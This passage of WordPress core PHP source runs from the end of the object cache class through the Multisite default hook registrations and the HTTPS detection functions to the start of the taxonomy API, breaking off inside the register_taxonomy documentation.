	 * @param string $group Optional. Where the cache contents are grouped. Default empty.
	 * @return bool[] Array of return values, grouped by key. Each value is either
	 *                true on success, or false if the contents were not deleted.
	 */
	public function delete_multiple( array $keys, $group = '' ) {
		$values = array();

		foreach ( $keys as $key ) {
			$values[ $key ] = $this->delete( $key, $group );
		}

		return $values;
	}

	/**
	 * Increments numeric cache item's value.
	 *
	 * @since 3.3.0
	 *
	 * @param int|string $key    The cache key to increment.
	 * @param int        $offset Optional. The amount by which to increment the item's value.
	 *                           Default 1.
	 * @param string     $group  Optional. The group the key is in. Default 'default'.
	 * @return int|false The item's new value on success, false on failure.
	 */
	public function incr( $key, $offset = 1, $group = 'default' ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( ! $this->_exists( $key, $group ) ) {
			return false;
		}

		if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) {
			$this->cache[ $group ][ $key ] = 0;
		}

		$offset = (int) $offset;

		$this->cache[ $group ][ $key ] += $offset;

		if ( $this->cache[ $group ][ $key ] < 0 ) {
			$this->cache[ $group ][ $key ] = 0;
		}

		return $this->cache[ $group ][ $key ];
	}

	/**
	 * Decrements numeric cache item's value.
	 *
	 * @since 3.3.0
	 *
	 * @param int|string $key    The cache key to decrement.
	 * @param int        $offset Optional. The amount by which to decrement the item's value.
	 *                           Default 1.
	 * @param string     $group  Optional. The group the key is in. Default 'default'.
	 * @return int|false The item's new value on success, false on failure.
	 */
	public function decr( $key, $offset = 1, $group = 'default' ) {
		if ( ! $this->is_valid_key( $key ) ) {
			return false;
		}

		if ( empty( $group ) ) {
			$group = 'default';
		}

		if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) {
			$key = $this->blog_prefix . $key;
		}

		if ( ! $this->_exists( $key, $group ) ) {
			return false;
		}

		if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) {
			$this->cache[ $group ][ $key ] = 0;
		}

		$offset = (int) $offset;

		$this->cache[ $group ][ $key ] -= $offset;

		if ( $this->cache[ $group ][ $key ] < 0 ) {
			$this->cache[ $group ][ $key ] = 0;
		}

		return $this->cache[ $group ][ $key ];
	}

	/**
	 * Clears the object cache of all data.
	 *
	 * @since 2.0.0
	 *
	 * @return true Always returns true.
	 */
	public function flush() {
		$this->cache = array();

		return true;
	}

	/**
	 * Removes all cache items in a group.
	 *
	 * @since 6.1.0
	 *
	 * @param string $group Name of group to remove from cache.
	 * @return true Always returns true.
	 */
	public function flush_group( $group ) {
		unset( $this->cache[ $group ] );

		return true;
	}

	/**
	 * Sets the list of global cache groups.
	 *
	 * @since 3.0.0
	 *
	 * @param string|string[] $groups List of groups that are global.
	 */
	public function add_global_groups( $groups ) {
		$groups = (array) $groups;

		$groups              = array_fill_keys( $groups, true );
		$this->global_groups = array_merge( $this->global_groups, $groups );
	}

	/**
	 * Switches the internal blog ID.
	 *
	 * This changes the blog ID used to create keys in blog specific groups.
	 *
	 * @since 3.5.0
	 *
	 * @param int $blog_id Blog ID.
	 */
	public function switch_to_blog( $blog_id ) {
		$blog_id           = (int) $blog_id;
		$this->blog_prefix = $this->multisite ? $blog_id . ':' : '';
	}

	/**
	 * Resets cache keys.
	 *
	 * @since 3.0.0
	 *
	 * @deprecated 3.5.0 Use WP_Object_Cache::switch_to_blog()
	 * @see switch_to_blog()
	 */
	public function reset() {
		_deprecated_function( __FUNCTION__, '3.5.0', 'WP_Object_Cache::switch_to_blog()' );

		// Clear out non-global caches since the blog ID has changed.
		foreach ( array_keys( $this->cache ) as $group ) {
			if ( ! isset( $this->global_groups[ $group ] ) ) {
				unset( $this->cache[ $group ] );
			}
		}
	}

	/**
	 * Echoes the stats of the caching.
	 *
	 * Gives the cache hits, and cache misses. Also prints every cached group,
	 * key and the data.
	 *
	 * @since 2.0.0
	 */
	public function stats() {
		echo '<p>';
		echo "<strong>Cache Hits:</strong> {$this->cache_hits}<br />";
		echo "<strong>Cache Misses:</strong> {$this->cache_misses}<br />";
		echo '</p>';
		echo '<ul>';
		foreach ( $this->cache as $group => $cache ) {
			echo '<li><strong>Group:</strong> ' . esc_html( $group ) . ' - ( ' . number_format( strlen( serialize( $cache ) ) / KB_IN_BYTES, 2 ) . 'k )</li>';
		}
		echo '</ul>';
	}
}
<?php
/**
 * Sets up the default filters and actions for Multisite.
 *
 * If you need to remove a default hook, this file will give you the priority
 * for which to use to remove the hook.
 *
 * Not all of the Multisite default hooks are found in ms-default-filters.php
 *
 * @package WordPress
 * @subpackage Multisite
 * @see default-filters.php
 * @since 3.0.0
 */

add_action( 'init', 'ms_subdomain_constants' );

// Functions.
add_action( 'update_option_blog_public', 'update_blog_public', 10, 2 );
add_filter( 'option_users_can_register', 'users_can_register_signup_filter' );
add_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' );

// Users.
add_filter( 'wpmu_validate_user_signup', 'signup_nonce_check' );
add_action( 'init', 'maybe_add_existing_user_to_blog' );
add_action( 'wpmu_new_user', 'newuser_notify_siteadmin' );
add_action( 'wpmu_activate_user', 'add_new_user_to_blog', 10, 3 );
add_action( 'wpmu_activate_user', 'wpmu_welcome_user_notification', 10, 3 );
add_action( 'after_signup_user', 'wpmu_signup_user_notification', 10, 4 );
add_action( 'network_site_new_created_user', 'wp_send_new_user_notifications' );
add_action( 'network_site_users_created_user', 'wp_send_new_user_notifications' );
add_action( 'network_user_new_created_user', 'wp_send_new_user_notifications' );
add_filter( 'sanitize_user', 'strtolower' );
add_action( 'deleted_user', 'wp_delete_signup_on_user_delete', 10, 3 );

// Roles.
add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 );

// Blogs.
add_filter( 'wpmu_validate_blog_signup', 'signup_nonce_check' );
add_action( 'wpmu_activate_blog', 'wpmu_welcome_notification', 10, 5 );
add_action( 'after_signup_site', 'wpmu_signup_blog_notification', 10, 7 );
add_filter( 'wp_normalize_site_data', 'wp_normalize_site_data', 10, 1 );
add_action( 'wp_validate_site_data', 'wp_validate_site_data', 10, 3 );
add_action( 'wp_insert_site', 'wp_maybe_update_network_site_counts_on_update', 10, 1 );
add_action( 'wp_update_site', 'wp_maybe_update_network_site_counts_on_update', 10, 2 );
add_action( 'wp_delete_site', 'wp_maybe_update_network_site_counts_on_update', 10, 1 );
add_action( 'wp_insert_site', 'wp_maybe_transition_site_statuses_on_update', 10, 1 );
add_action( 'wp_update_site', 'wp_maybe_transition_site_statuses_on_update', 10, 2 );
add_action( 'wp_update_site', 'wp_maybe_clean_new_site_cache_on_update', 10, 2 );
add_action( 'wp_initialize_site', 'wp_initialize_site', 10, 2 );
add_action( 'wp_initialize_site', 'wpmu_log_new_registrations', 100, 2 );
add_action( 'wp_initialize_site', 'newblog_notify_siteadmin', 100, 1 );
add_action( 'wp_uninitialize_site', 'wp_uninitialize_site', 10, 1 );
add_action( 'update_blog_public', 'wp_update_blog_public_option_on_site_update', 1, 2 );

// Site meta.
add_action( 'added_blog_meta', 'wp_cache_set_sites_last_changed' );
add_action( 'updated_blog_meta', 'wp_cache_set_sites_last_changed' );
add_action( 'deleted_blog_meta', 'wp_cache_set_sites_last_changed' );
add_filter( 'get_blog_metadata', 'wp_check_site_meta_support_prefilter' );
add_filter( 'add_blog_metadata', 'wp_check_site_meta_support_prefilter' );
add_filter( 'update_blog_metadata', 'wp_check_site_meta_support_prefilter' );
add_filter( 'delete_blog_metadata', 'wp_check_site_meta_support_prefilter' );
add_filter( 'get_blog_metadata_by_mid', 'wp_check_site_meta_support_prefilter' );
add_filter( 'update_blog_metadata_by_mid', 'wp_check_site_meta_support_prefilter' );
add_filter( 'delete_blog_metadata_by_mid', 'wp_check_site_meta_support_prefilter' );
add_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' );

// Register nonce.
add_action( 'signup_hidden_fields', 'signup_nonce_fields' );

// Template.
add_action( 'template_redirect', 'maybe_redirect_404' );
add_filter( 'allowed_redirect_hosts', 'redirect_this_site' );

// Administration.
add_action( 'after_delete_post', '_update_posts_count_on_delete', 10, 2 );
add_action( 'delete_post', '_update_blog_date_on_post_delete' );
add_action( 'transition_post_status', '_update_blog_date_on_post_publish', 10, 3 );
add_action( 'transition_post_status', '_update_posts_count_on_transition_post_status', 10, 3 );

// Counts.
add_action( 'admin_init', 'wp_schedule_update_network_counts' );
add_action( 'update_network_counts', 'wp_update_network_counts', 10, 0 );
foreach ( array( 'wpmu_new_user', 'make_spam_user', 'make_ham_user' ) as $action ) {
	add_action( $action, 'wp_maybe_update_network_user_counts', 10, 0 );
}

// These counts are handled by wp_update_network_counts() on Multisite:
remove_action( 'admin_init', 'wp_schedule_update_user_counts' );
remove_action( 'wp_update_user_counts', 'wp_schedule_update_user_counts' );

foreach ( array( 'make_spam_blog', 'make_ham_blog', 'archive_blog', 'unarchive_blog', 'make_delete_blog', 'make_undelete_blog' ) as $action ) {
	add_action( $action, 'wp_maybe_update_network_site_counts', 10, 0 );
}
unset( $action );

// Files.
add_filter( 'wp_upload_bits', 'upload_is_file_too_big' );
add_filter( 'import_upload_size_limit', 'fix_import_form_size' );
add_filter( 'upload_mimes', 'check_upload_mimes' );
add_filter( 'upload_size_limit', 'upload_size_limit_filter' );
add_action( 'upload_ui_over_quota', 'multisite_over_quota_message' );

// Mail.
add_action( 'phpmailer_init', 'fix_phpmailer_messageid' );

// Disable somethings by default for multisite.
add_filter( 'enable_update_services_configuration', '__return_false' );
if ( ! defined( 'POST_BY_EMAIL' ) || ! POST_BY_EMAIL ) { // Back compat constant.
	add_filter( 'enable_post_by_email_configuration', '__return_false' );
}
if ( ! defined( 'EDIT_ANY_USER' ) || ! EDIT_ANY_USER ) { // Back compat constant.
	add_filter( 'enable_edit_any_user_configuration', '__return_false' );
}
add_filter( 'force_filtered_html_on_import', '__return_true' );

// WP_HOME and WP_SITEURL should not have any effect in MS.
remove_filter( 'option_siteurl', '_config_wp_siteurl' );
remove_filter( 'option_home', '_config_wp_home' );

// Some options changes should trigger site details refresh.
add_action( 'update_option_blogname', 'clean_site_details_cache', 10, 0 );
add_action( 'update_option_siteurl', 'clean_site_details_cache', 10, 0 );
add_action( 'update_option_post_count', 'clean_site_details_cache', 10, 0 );
add_action( 'update_option_home', 'clean_site_details_cache', 10, 0 );

// If the network upgrade hasn't run yet, assume ms-files.php rewriting is used.
add_filter( 'default_site_option_ms_files_rewriting', '__return_true' );

// Allow multisite domains for HTTP requests.
add_filter( 'http_request_host_is_external', 'ms_allowed_http_request_hosts', 20, 2 );
<?php
/**
 * HTTPS detection functions.
 *
 * @package WordPress
 * @since 5.7.0
 */

/**
 * Checks whether the website is using HTTPS.
 *
 * This is based on whether both the home and site URL are using HTTPS.
 *
 * @since 5.7.0
 * @see wp_is_home_url_using_https()
 * @see wp_is_site_url_using_https()
 *
 * @return bool True if using HTTPS, false otherwise.
 */
function wp_is_using_https() {
	if ( ! wp_is_home_url_using_https() ) {
		return false;
	}

	return wp_is_site_url_using_https();
}

/**
 * Checks whether the current site URL is using HTTPS.
 *
 * @since 5.7.0
 * @see home_url()
 *
 * @return bool True if using HTTPS, false otherwise.
 */
function wp_is_home_url_using_https() {
	return 'https' === wp_parse_url( home_url(), PHP_URL_SCHEME );
}

/**
 * Checks whether the current site's URL where WordPress is stored is using HTTPS.
 *
 * This checks the URL where WordPress application files (e.g. wp-blog-header.php or the wp-admin/ folder)
 * are accessible.
 *
 * @since 5.7.0
 * @see site_url()
 *
 * @return bool True if using HTTPS, false otherwise.
 */
function wp_is_site_url_using_https() {
	/*
	 * Use direct option access for 'siteurl' and manually run the 'site_url'
	 * filter because `site_url()` will adjust the scheme based on what the
	 * current request is using.
	 */
	/** This filter is documented in wp-includes/link-template.php */
	$site_url = apply_filters( 'site_url', get_option( 'siteurl' ), '', null, null );

	return 'https' === wp_parse_url( $site_url, PHP_URL_SCHEME );
}

/**
 * Checks whether HTTPS is supported for the server and domain.
 *
 * @since 5.7.0
 *
 * @return bool True if HTTPS is supported, false otherwise.
 */
function wp_is_https_supported() {
	$https_detection_errors = get_option( 'https_detection_errors' );

	// If option has never been set by the Cron hook before, run it on-the-fly as fallback.
	if ( false === $https_detection_errors ) {
		wp_update_https_detection_errors();

		$https_detection_errors = get_option( 'https_detection_errors' );
	}

	// If there are no detection errors, HTTPS is supported.
	return empty( $https_detection_errors );
}

/**
 * Runs a remote HTTPS request to detect whether HTTPS supported, and stores potential errors.
 *
 * This internal function is called by a regular Cron hook to ensure HTTPS support is detected and maintained.
 *
 * @since 6.4.0
 * @access private
 */
function wp_get_https_detection_errors() {
	/**
	 * Short-circuits the process of detecting errors related to HTTPS support.
	 *
	 * Returning a `WP_Error` from the filter will effectively short-circuit the default logic of trying a remote
	 * request to the site over HTTPS, storing the errors array from the returned `WP_Error` instead.
	 *
	 * @since 6.4.0
	 *
	 * @param null|WP_Error $pre Error object to short-circuit detection,
	 *                           or null to continue with the default behavior.
	 * @return null|WP_Error Error object if HTTPS detection errors are found, null otherwise.
	 */
	$support_errors = apply_filters( 'pre_wp_get_https_detection_errors', null );
	if ( is_wp_error( $support_errors ) ) {
		return $support_errors->errors;
	}

	$support_errors = new WP_Error();

	$response = wp_remote_request(
		home_url( '/', 'https' ),
		array(
			'headers'   => array(
				'Cache-Control' => 'no-cache',
			),
			'sslverify' => true,
		)
	);

	if ( is_wp_error( $response ) ) {
		$unverified_response = wp_remote_request(
			home_url( '/', 'https' ),
			array(
				'headers'   => array(
					'Cache-Control' => 'no-cache',
				),
				'sslverify' => false,
			)
		);

		if ( is_wp_error( $unverified_response ) ) {
			$support_errors->add(
				'https_request_failed',
				__( 'HTTPS request failed.' )
			);
		} else {
			$support_errors->add(
				'ssl_verification_failed',
				__( 'SSL verification failed.' )
			);
		}

		$response = $unverified_response;
	}

	if ( ! is_wp_error( $response ) ) {
		if ( 200 !== wp_remote_retrieve_response_code( $response ) ) {
			$support_errors->add( 'bad_response_code', wp_remote_retrieve_response_message( $response ) );
		} elseif ( false === wp_is_local_html_output( wp_remote_retrieve_body( $response ) ) ) {
			$support_errors->add( 'bad_response_source', __( 'It looks like the response did not come from this site.' ) );
		}
	}

	return $support_errors->errors;
}

/**
 * Checks whether a given HTML string is likely an output from this WordPress site.
 *
 * This function attempts to check for various common WordPress patterns whether they are included in the HTML string.
 * Since any of these actions may be disabled through third-party code, this function may also return null to indicate
 * that it was not possible to determine ownership.
 *
 * @since 5.7.0
 * @access private
 *
 * @param string $html Full HTML output string, e.g. from a HTTP response.
 * @return bool|null True/false for whether HTML was generated by this site, null if unable to determine.
 */
function wp_is_local_html_output( $html ) {
	// 1. Check if HTML includes the site's Really Simple Discovery link.
	if ( has_action( 'wp_head', 'rsd_link' ) ) {
		$pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) ); // See rsd_link().
		return str_contains( $html, $pattern );
	}

	// 2. Check if HTML includes the site's REST API link.
	if ( has_action( 'wp_head', 'rest_output_link_wp_head' ) ) {
		// Try both HTTPS and HTTP since the URL depends on context.
		$pattern = preg_replace( '#^https?:(?=//)#', '', esc_url( get_rest_url() ) ); // See rest_output_link_wp_head().
		return str_contains( $html, $pattern );
	}

	// Otherwise the result cannot be determined.
	return null;
}
<?php
/**
 * Core Taxonomy API
 *
 * @package WordPress
 * @subpackage Taxonomy
 */

//
// Taxonomy registration.
//

/**
 * Creates the initial taxonomies.
 *
 * This function fires twice: in wp-settings.php before plugins are loaded (for
 * backward compatibility reasons), and again on the {@see 'init'} action. We must
 * avoid registering rewrite rules before the {@see 'init'} action.
 *
 * @since 2.8.0
 * @since 5.9.0 Added `'wp_template_part_area'` taxonomy.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 */
function create_initial_taxonomies() {
	global $wp_rewrite;

	WP_Taxonomy::reset_default_labels();

	if ( ! did_action( 'init' ) ) {
		$rewrite = array(
			'category'    => false,
			'post_tag'    => false,
			'post_format' => false,
		);
	} else {

		/**
		 * Filters the post formats rewrite base.
		 *
		 * @since 3.1.0
		 *
		 * @param string $context Context of the rewrite base. Default 'type'.
		 */
		$post_format_base = apply_filters( 'post_format_rewrite_base', 'type' );
		$rewrite          = array(
			'category'    => array(
				'hierarchical' => true,
				'slug'         => get_option( 'category_base' ) ? get_option( 'category_base' ) : 'category',
				'with_front'   => ! get_option( 'category_base' ) || $wp_rewrite->using_index_permalinks(),
				'ep_mask'      => EP_CATEGORIES,
			),
			'post_tag'    => array(
				'hierarchical' => false,
				'slug'         => get_option( 'tag_base' ) ? get_option( 'tag_base' ) : 'tag',
				'with_front'   => ! get_option( 'tag_base' ) || $wp_rewrite->using_index_permalinks(),
				'ep_mask'      => EP_TAGS,
			),
			'post_format' => $post_format_base ? array( 'slug' => $post_format_base ) : false,
		);
	}

	register_taxonomy(
		'category',
		'post',
		array(
			'hierarchical'          => true,
			'query_var'             => 'category_name',
			'rewrite'               => $rewrite['category'],
			'public'                => true,
			'show_ui'               => true,
			'show_admin_column'     => true,
			'_builtin'              => true,
			'capabilities'          => array(
				'manage_terms' => 'manage_categories',
				'edit_terms'   => 'edit_categories',
				'delete_terms' => 'delete_categories',
				'assign_terms' => 'assign_categories',
			),
			'show_in_rest'          => true,
			'rest_base'             => 'categories',
			'rest_controller_class' => 'WP_REST_Terms_Controller',
		)
	);

	register_taxonomy(
		'post_tag',
		'post',
		array(
			'hierarchical'          => false,
			'query_var'             => 'tag',
			'rewrite'               => $rewrite['post_tag'],
			'public'                => true,
			'show_ui'               => true,
			'show_admin_column'     => true,
			'_builtin'              => true,
			'capabilities'          => array(
				'manage_terms' => 'manage_post_tags',
				'edit_terms'   => 'edit_post_tags',
				'delete_terms' => 'delete_post_tags',
				'assign_terms' => 'assign_post_tags',
			),
			'show_in_rest'          => true,
			'rest_base'             => 'tags',
			'rest_controller_class' => 'WP_REST_Terms_Controller',
		)
	);

	register_taxonomy(
		'nav_menu',
		'nav_menu_item',
		array(
			'public'                => false,
			'hierarchical'          => false,
			'labels'                => array(
				'name'          => __( 'Navigation Menus' ),
				'singular_name' => __( 'Navigation Menu' ),
			),
			'query_var'             => false,
			'rewrite'               => false,
			'show_ui'               => false,
			'_builtin'              => true,
			'show_in_nav_menus'     => false,
			'capabilities'          => array(
				'manage_terms' => 'edit_theme_options',
				'edit_terms'   => 'edit_theme_options',
				'delete_terms' => 'edit_theme_options',
				'assign_terms' => 'edit_theme_options',
			),
			'show_in_rest'          => true,
			'rest_base'             => 'menus',
			'rest_controller_class' => 'WP_REST_Menus_Controller',
		)
	);

	register_taxonomy(
		'link_category',
		'link',
		array(
			'hierarchical' => false,
			'labels'       => array(
				'name'                       => __( 'Link Categories' ),
				'singular_name'              => __( 'Link Category' ),
				'search_items'               => __( 'Search Link Categories' ),
				'popular_items'              => null,
				'all_items'                  => __( 'All Link Categories' ),
				'edit_item'                  => __( 'Edit Link Category' ),
				'update_item'                => __( 'Update Link Category' ),
				'add_new_item'               => __( 'Add New Link Category' ),
				'new_item_name'              => __( 'New Link Category Name' ),
				'separate_items_with_commas' => null,
				'add_or_remove_items'        => null,
				'choose_from_most_used'      => null,
				'back_to_items'              => __( '&larr; Go to Link Categories' ),
			),
			'capabilities' => array(
				'manage_terms' => 'manage_links',
				'edit_terms'   => 'manage_links',
				'delete_terms' => 'manage_links',
				'assign_terms' => 'manage_links',
			),
			'query_var'    => false,
			'rewrite'      => false,
			'public'       => false,
			'show_ui'      => true,
			'_builtin'     => true,
		)
	);

	register_taxonomy(
		'post_format',
		'post',
		array(
			'public'            => true,
			'hierarchical'      => false,
			'labels'            => array(
				'name'          => _x( 'Formats', 'post format' ),
				'singular_name' => _x( 'Format', 'post format' ),
			),
			'query_var'         => true,
			'rewrite'           => $rewrite['post_format'],
			'show_ui'           => false,
			'_builtin'          => true,
			'show_in_nav_menus' => current_theme_supports( 'post-formats' ),
		)
	);

	register_taxonomy(
		'wp_theme',
		array( 'wp_template', 'wp_template_part', 'wp_global_styles' ),
		array(
			'public'            => false,
			'hierarchical'      => false,
			'labels'            => array(
				'name'          => __( 'Themes' ),
				'singular_name' => __( 'Theme' ),
			),
			'query_var'         => false,
			'rewrite'           => false,
			'show_ui'           => false,
			'_builtin'          => true,
			'show_in_nav_menus' => false,
			'show_in_rest'      => false,
		)
	);

	register_taxonomy(
		'wp_template_part_area',
		array( 'wp_template_part' ),
		array(
			'public'            => false,
			'hierarchical'      => false,
			'labels'            => array(
				'name'          => __( 'Template Part Areas' ),
				'singular_name' => __( 'Template Part Area' ),
			),
			'query_var'         => false,
			'rewrite'           => false,
			'show_ui'           => false,
			'_builtin'          => true,
			'show_in_nav_menus' => false,
			'show_in_rest'      => false,
		)
	);

	register_taxonomy(
		'wp_pattern_category',
		array( 'wp_block' ),
		array(
			'public'             => false,
			'publicly_queryable' => false,
			'hierarchical'       => false,
			'labels'             => array(
				'name'                       => _x( 'Pattern Categories', 'taxonomy general name' ),
				'singular_name'              => _x( 'Pattern Category', 'taxonomy singular name' ),
				'add_new_item'               => __( 'Add New Category' ),
				'add_or_remove_items'        => __( 'Add or remove pattern categories' ),
				'back_to_items'              => __( '&larr; Go to Pattern Categories' ),
				'choose_from_most_used'      => __( 'Choose from the most used pattern categories' ),
				'edit_item'                  => __( 'Edit Pattern Category' ),
				'item_link'                  => __( 'Pattern Category Link' ),
				'item_link_description'      => __( 'A link to a pattern category.' ),
				'items_list'                 => __( 'Pattern Categories list' ),
				'items_list_navigation'      => __( 'Pattern Categories list navigation' ),
				'new_item_name'              => __( 'New Pattern Category Name' ),
				'no_terms'                   => __( 'No pattern categories' ),
				'not_found'                  => __( 'No pattern categories found.' ),
				'popular_items'              => __( 'Popular Pattern Categories' ),
				'search_items'               => __( 'Search Pattern Categories' ),
				'separate_items_with_commas' => __( 'Separate pattern categories with commas' ),
				'update_item'                => __( 'Update Pattern Category' ),
				'view_item'                  => __( 'View Pattern Category' ),
			),
			'query_var'          => false,
			'rewrite'            => false,
			'show_ui'            => true,
			'_builtin'           => true,
			'show_in_nav_menus'  => false,
			'show_in_rest'       => true,
			'show_admin_column'  => true,
			'show_tagcloud'      => false,
		)
	);
}

/**
 * Retrieves a list of registered taxonomy names or objects.
 *
 * @since 3.0.0
 *
 * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies.
 *
 * @param array  $args     Optional. An array of `key => value` arguments to match against the taxonomy objects.
 *                         Default empty array.
 * @param string $output   Optional. The type of output to return in the array. Either 'names'
 *                         or 'objects'. Default 'names'.
 * @param string $operator Optional. The logical operation to perform. Accepts 'and' or 'or'. 'or' means only
 *                         one element from the array needs to match; 'and' means all elements must match.
 *                         Default 'and'.
 * @return string[]|WP_Taxonomy[] An array of taxonomy names or objects.
 */
function get_taxonomies( $args = array(), $output = 'names', $operator = 'and' ) {
	global $wp_taxonomies;

	$field = ( 'names' === $output ) ? 'name' : false;

	return wp_filter_object_list( $wp_taxonomies, $args, $operator, $field );
}

/**
 * Returns the names or objects of the taxonomies which are registered for the requested object or object type,
 * such as a post object or post type name.
 *
 * Example:
 *
 *     $taxonomies = get_object_taxonomies( 'post' );
 *
 * This results in:
 *
 *     Array( 'category', 'post_tag' )
 *
 * @since 2.3.0
 *
 * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies.
 *
 * @param string|string[]|WP_Post $object_type Name of the type of taxonomy object, or an object (row from posts).
 * @param string                  $output      Optional. The type of output to return in the array. Accepts either
 *                                             'names' or 'objects'. Default 'names'.
 * @return string[]|WP_Taxonomy[] The names or objects of all taxonomies of `$object_type`.
 */
function get_object_taxonomies( $object_type, $output = 'names' ) {
	global $wp_taxonomies;

	if ( is_object( $object_type ) ) {
		if ( 'attachment' === $object_type->post_type ) {
			return get_attachment_taxonomies( $object_type, $output );
		}
		$object_type = $object_type->post_type;
	}

	$object_type = (array) $object_type;

	$taxonomies = array();
	foreach ( (array) $wp_taxonomies as $tax_name => $tax_obj ) {
		if ( array_intersect( $object_type, (array) $tax_obj->object_type ) ) {
			if ( 'names' === $output ) {
				$taxonomies[] = $tax_name;
			} else {
				$taxonomies[ $tax_name ] = $tax_obj;
			}
		}
	}

	return $taxonomies;
}

/**
 * Retrieves the taxonomy object of $taxonomy.
 *
 * The get_taxonomy function will first check that the parameter string given
 * is a taxonomy object and if it is, it will return it.
 *
 * @since 2.3.0
 *
 * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies.
 *
 * @param string $taxonomy Name of taxonomy object to return.
 * @return WP_Taxonomy|false The taxonomy object or false if $taxonomy doesn't exist.
 */
function get_taxonomy( $taxonomy ) {
	global $wp_taxonomies;

	if ( ! taxonomy_exists( $taxonomy ) ) {
		return false;
	}

	return $wp_taxonomies[ $taxonomy ];
}

/**
 * Determines whether the taxonomy name exists.
 *
 * Formerly is_taxonomy(), introduced in 2.3.0.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.0.0
 *
 * @global WP_Taxonomy[] $wp_taxonomies The registered taxonomies.
 *
 * @param string $taxonomy Name of taxonomy object.
 * @return bool Whether the taxonomy exists.
 */
function taxonomy_exists( $taxonomy ) {
	global $wp_taxonomies;

	return is_string( $taxonomy ) && isset( $wp_taxonomies[ $taxonomy ] );
}

/**
 * Determines whether the taxonomy object is hierarchical.
 *
 * Checks to make sure that the taxonomy is an object first. Then Gets the
 * object, and finally returns the hierarchical value in the object.
 *
 * A false return value might also mean that the taxonomy does not exist.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.3.0
 *
 * @param string $taxonomy Name of taxonomy object.
 * @return bool Whether the taxonomy is hierarchical.
 */
function is_taxonomy_hierarchical( $taxonomy ) {
	if ( ! taxonomy_exists( $taxonomy ) ) {
		return false;
	}

	$taxonomy = get_taxonomy( $taxonomy );
	return $taxonomy->hierarchical;
}

/**
 * Creates or modifies a taxonomy object.
 *
 * Note: Do not use before the {@see 'init'} hook.
 *
 * A simple function for creating or modifying a taxonomy object based on
 * the parameters given. If modifying an existing taxonomy object, note
 * that the `$object_type` value from the original registration will be
 * overwritten.
 *
 * @since 2.3.0
 * @since 4.2.0 Introduced `show_in_quick_edit` argument.
 * @since 4.4.0 The `show_ui` argument is now enforced on the term editing screen.
 * @since 4.4.0 The `public` argument now controls whether the taxonomy can be queried on the front end.
 * @since 4.5.0 Introduced `publicly_queryable` argument.
 * @since 4.7.0 Introduced `show_in_rest`, 'rest_base' and 'rest_controller_class'
 *              arguments to register the taxonomy in REST API.
 * @since 5.1.0 Introduced `meta_box_sanitize_cb` argument.
 * @since 5.4.0 Added the registered taxonomy object as a return value.
 * @since 5.5.0 Introduced `default_term` argument.
 * @since 5.9.0 Introduced `rest_namespace` argument.
 *
 * @global WP_Taxonomy[] $wp_taxonomies Registered taxonomies.
 *
 * @param string       $taxonomy    Taxonomy key. Must not exceed 32 characters and may only contain
 *                                  lowercase alphanumeric characters, dashes, and underscores. See sanitize_key().
 * @param array|string $object_type Object type or array of object types with which the taxonomy should be associated.
 * @param array|string $args        {
 *     Optional. Array or query string of arguments for registering a taxonomy.
 *
 *     @type string[]      $labels                An array of labels for this taxonomy. By default, Tag labels are
 *                                                used for non-hierarchical taxonomies, and Category labels are used
 *                                                for hierarchical taxonomies. See accepted values in
 *                                                get_taxonomy_labels(). Default empty array.
 *     @type string        $description           A short descriptive summary of what the taxonomy is for. Default empty.
 *     @type bool          $public                Whether a taxonomy is intended for use publicly either via
 *                                                the admin interface or by front-end users. The default settings
 *                                                of `$publicly_queryable`, `$show_ui`, and `$show_in_nav_menus`
 *                                                are inherited from `$public`.
 *     @type bool          $publicly_queryable    Whether the taxonomy is publicly queryable.
 *                                                If not set, the default is inherited from `$public`
 *     @type bool          $hierarchical          Whether the taxonomy is hierarchical. Default false.
 *     @type bool          $show_ui               Whether to generate and allow a UI for managing terms in this taxonomy in
 *                                                the admin. If not set, the default is inherited from `$public`
 *                                                (default true).
 *     @type bool          $show_in_menu          Whether to show the taxonomy in the admin menu. If true, the taxonomy is
 *                                                shown as a submenu of the object type menu. If false, no menu is shown.
 *                                                `$show_ui` must be true. If not set, default is inherited from `$show_ui`
 *                                                (default true).
 *     @type bool          $show_in_nav_menus     Makes this taxonomy available for selection in navigation menus. If not
 *                                                set, the default is inherited from `$public` (default true).
 *     @type bool          $show_in_rest          Whether to include the taxonomy in the REST API. Set this to true
 *                                                for the taxonomy to be available in the block editor.
 *     @type string        $rest_base             To change the base url of REST API route. Default is $taxonomy.
 *     @type string        $rest_namespace        To change the namespace URL of REST API route. Default is wp/v2.
 *     @type string        $rest_controller_class REST API Controller class name. Default is 'WP_REST_Terms_Controller'.
 *     @type bool          $show_tagcloud         Whether to list the taxonomy in the Tag Cloud Widget controls. If not set,
 *                                                the default is inherited from `$show_ui` (default true).
 *     @type bool          $show_in_quick_edit    Whether to show the taxonomy in the quick/bulk edit panel. It not set,
 *                                                the default is inherited from `$show_ui` (default true).
 *     @type bool          $show_admin_column     Whether to display a column for the taxonomy on its post type listing
 *                                                screens. Default false.
 *     @type bool|callable $meta_box_cb           Provide a callback function for the meta box display. If not set,
 *                                                post_categories_meta_box() is used for hierarchical taxonomies, and
 *                                                post_tags_meta_box() is used for non-hierarchical. If false, no meta
 *                                                box is shown.
 *     @type callable      $meta_box_sanitize_cb  Callback function for sanitizing taxonomy data saved from a meta
 *                                                box. If no callback is defined, an appropriate one is determined
 *                                                based on the value of `$meta_box_cb`.
